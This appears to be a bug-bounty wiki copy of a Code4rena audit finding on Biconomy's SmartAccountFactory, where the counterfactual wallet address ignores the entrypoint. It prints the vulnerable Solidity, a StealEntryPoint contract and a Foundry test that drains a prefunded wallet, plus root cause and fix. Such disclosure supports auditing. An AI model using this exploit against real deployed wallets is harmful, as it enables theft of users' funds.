Attacker can gain control of counterfactual wallet
The counterfactual wallet address is derived without including the entrypoint, so an attacker can deploy the wallet with their own entrypoint and then use it to execute arbitrary calls, stealing any funds sent to the pre-computed address.
adriro Follow with 0x73696d616f, giovannidisiena and 25 others
Originally disclosed on Code4rena
Submitted by adriro, also found by 0x73696d616f, giovannidisiena, Qeew, V_B, 0x1f8b, adriro, ey88, wait, Haipls, betweenETHlines, Lirios, hihen, hihen, horsefacts, bin2chen, ast3ros, aviggiano, 0xdeadbeef0x, chaduke, Jayus, ladboy233, ladboy233, zaskoh, Kalzak, dragotanqueray, BClabs, and HE1M
A counterfactual wallet can be used by pre-generating its address using the SmartAccountFactory.getAddressForCounterfactualWallet function. This address can then be securely used (for example, sending funds to this address) knowing in advance that the user will later be able to deploy it at the same address to gain control.
However, an attacker can deploy the counterfactual wallet on behalf of the owner and use an arbitrary entrypoint:
function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) public returns(address proxy){
bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index))));
bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
// EOA + Version tracking
emit SmartAccountCreated(proxy,_defaultImpl,_owner, VERSION, _index);
BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler);
isAccountExist[proxy] = true;
}
As the entrypoint address doesn’t take any role in the address generation (it isn’t part of the salt or the init hash), then the attacker is able to use any arbitrary entrypoint while keeping the address the same as the pre-generated address.
Impact
After the attacker has deployed the wallet with its own entrypoint, this contract can be used to execute any arbitrary call or code (using delegatecall) using the execFromEntryPoint function:
function execFromEntryPoint(address dest, uint value, bytes calldata func, Enum.Operation operation, uint256 gasLimit) external onlyEntryPoint returns (bool success) {
success = execute(dest, value, func, operation, gasLimit);
require(success, "Userop Failed");
}
This means the attacker has total control over the wallet, it can be used to steal any pre-existing funds in the wallet, change the owner, etc.
Proof of Concept
In the following test, the attacker deploys the counterfactual wallet using the StealEntryPoint contract as the entrypoint, which is then used to steal any funds present in the wallet.
contract StealEntryPoint {
function steal(SmartAccount wallet) public {
uint256 balance = address(wallet).balance;
wallet.execFromEntryPoint(
msg.sender, // address dest
balance, // uint value
"", // bytes calldata func
Enum.Operation.Call, // Enum.Operation operation
gasleft() // uint256 gasLimit
);
}
}
contract AuditTest is Test {
bytes32 internal constant ACCOUNT_TX_TYPEHASH = 0xc2595443c361a1f264c73470b9410fd67ac953ebd1a3ae63a2f514f3f014cf07;
uint256 bobPrivateKey = 0x123;
uint256 attackerPrivateKey = 0x456;
address deployer;
address bob;
address attacker;
address entrypoint;
address handler;
SmartAccount public implementation;
SmartAccountFactory public factory;
MockToken public token;
function setUp() public {
deployer = makeAddr("deployer");
bob = vm.addr(bobPrivateKey);
attacker = vm.addr(attackerPrivateKey);
entrypoint = makeAddr("entrypoint");
handler = makeAddr("handler");
vm.label(deployer, "deployer");
vm.label(bob, "bob");
vm.label(attacker, "attacker");
vm.startPrank(deployer);
implementation = new SmartAccount();
factory = new SmartAccountFactory(address(implementation));
token = new MockToken();
vm.stopPrank();
}
function test_SmartAccountFactory_StealCounterfactualWallet() public {
uint256 index = 0;
address counterfactualWallet = factory.getAddressForCounterfactualWallet(bob, index);
// Simulate Bob sends 1 ETH to the wallet
uint256 amount = 1 ether;
vm.deal(counterfactualWallet, amount);
// Attacker deploys counterfactual wallet with a custom entrypoint (StealEntryPoint)
vm.startPrank(attacker);
StealEntryPoint stealer = new StealEntryPoint();
address proxy = factory.deployCounterFactualWallet(bob, address(stealer), handler, index);
SmartAccount wallet = SmartAccount(payable(proxy));
// address is the same
assertEq(address(wallet), counterfactualWallet);
// trigger attack
stealer.steal(wallet);
vm.stopPrank();
// Attacker has stolen the funds
assertEq(address(wallet).balance, 0);
assertEq(attacker.balance, amount);
}
}
Recommended Mitigation Steps
This may need further discussion, but an easy fix would be to include the entrypoint as part of the salt. Note that the entrypoint used to generate the address must be kept the same and be used during the deployment of the counterfactual wallet.
#278also described a way to make the user tx not revert by self destructing with another call. i.e.
- Frontrun deploy
- Set approval and selfdestruct
- User deploy, no revert
livingrockrises (Biconomy) confirmed
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The entrypoint address is not included in the salt or init hash used to compute the counterfactual wallet address, allowing an attacker to deploy the wallet with an arbitrary entrypoint while preserving the address.
Impact
The attacker gains total control over the wallet and can steal any pre-existing funds or change the owner.
What the attacker needed
Victim has pre-funded the counterfactual wallet; attacker can call the factory
The fix
Include the entrypoint address as part of the salt used to compute the counterfactual wallet address, and ensure the same entrypoint is used during deployment.
How it was found
- Precompute the counterfactual wallet address using the factory's getAddressForCounterfactualWallet function.
- Send funds to that address (simulated in the test by setting the balance).
- Attacker deploys the counterfactual wallet using the factory's deployCounterFactualWallet function with a malicious entrypoint contract.
- Attacker calls the malicious entrypoint, which invokes execFromEntryPoint on the wallet to transfer the balance to the attacker.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A counterfactual wallet is a smart contract wallet whose address is known before it is deployed, so users can send funds to it in advance. The address is computed from the owner and an index, but not from the entrypoint (the contract allowed to trigger actions). An attacker can deploy the wallet first with their own entrypoint, then use that entrypoint to make the wallet send its funds to the attacker.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.